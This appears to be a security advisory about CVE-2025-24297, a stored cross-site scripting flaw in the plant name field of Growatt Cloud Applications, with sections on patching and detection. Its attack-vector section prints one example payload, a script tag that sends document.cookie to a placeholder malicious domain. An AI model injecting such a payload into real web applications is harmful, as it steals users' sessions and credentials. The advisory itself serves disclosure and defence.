Growatt Cloud Applications at Risk: Unpacking CVE-2025-24297 Stored XSS Vulnerability
Introduction
Stored cross-site scripting (XSS) vulnerabilities remain among the most dangerous web application threats, capable of compromising user privacy, data integrity, and system security. Recently disclosed CVE-2025-24297 exposes Growatt Cloud Applications to severe risks, allowing attackers to inject malicious JavaScript directly into user-facing components. This flaw, rated critical with a CVSS v3.1 score of 9.8, demands immediate attention and remediation.
Affected Systems and Versions
Specific version details have not been disclosed publicly. Users of Growatt Cloud Applications should consult the vendor's advisory and apply available patches immediately to mitigate risk.
Technical Information
Vulnerability Mechanism
CVE-2025-24297 is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability specifically affects the 'plant name' field within Growatt Cloud Applications, which lacks proper server-side input validation. Attackers exploit this by injecting malicious JavaScript payloads into the plant name, stored persistently within the application's database.
Attack Vectors and Exploitation Methods
Attackers can exploit this vulnerability by crafting malicious plant names such as:
<script>fetch('https://malicious.domain/steal-cookie?data='+document.cookie)</script>When legitimate users access the compromised plant details, the stored script executes in their browsers, potentially exfiltrating session cookies, credentials, or manipulating user interactions.
Proof of Concept
Currently, no publicly available proof-of-concept exploit code has been disclosed for CVE-2025-24297.
Patch Information
Growatt has released patches addressing CVE-2025-24297. Users should immediately update to the latest version available from Growatt's official support channels. Specific version numbers and direct patch links have not been publicly disclosed; users should contact Growatt directly for detailed patching instructions.
Detection Methods
Detailed detection methods or indicators of compromise specific to CVE-2025-24297 have not been disclosed. However, monitoring web application logs for unusual plant name modifications containing script tags or JavaScript payloads is advised.
Vendor Security History
Growatt's security history includes multiple vulnerabilities related to inadequate input validation and authorization bypass, as highlighted in recent ICS advisories. This pattern suggests systemic security weaknesses within their cloud application architecture.
References
Conclusion
The disclosure of CVE-2025-24297 underscores the critical importance of rigorous input validation and secure coding practices. Organizations utilizing Growatt Cloud Applications must act swiftly to apply available patches and implement robust security measures to protect against potential exploitation. Vigilance and proactive security management remain essential to safeguarding critical infrastructure and user data.
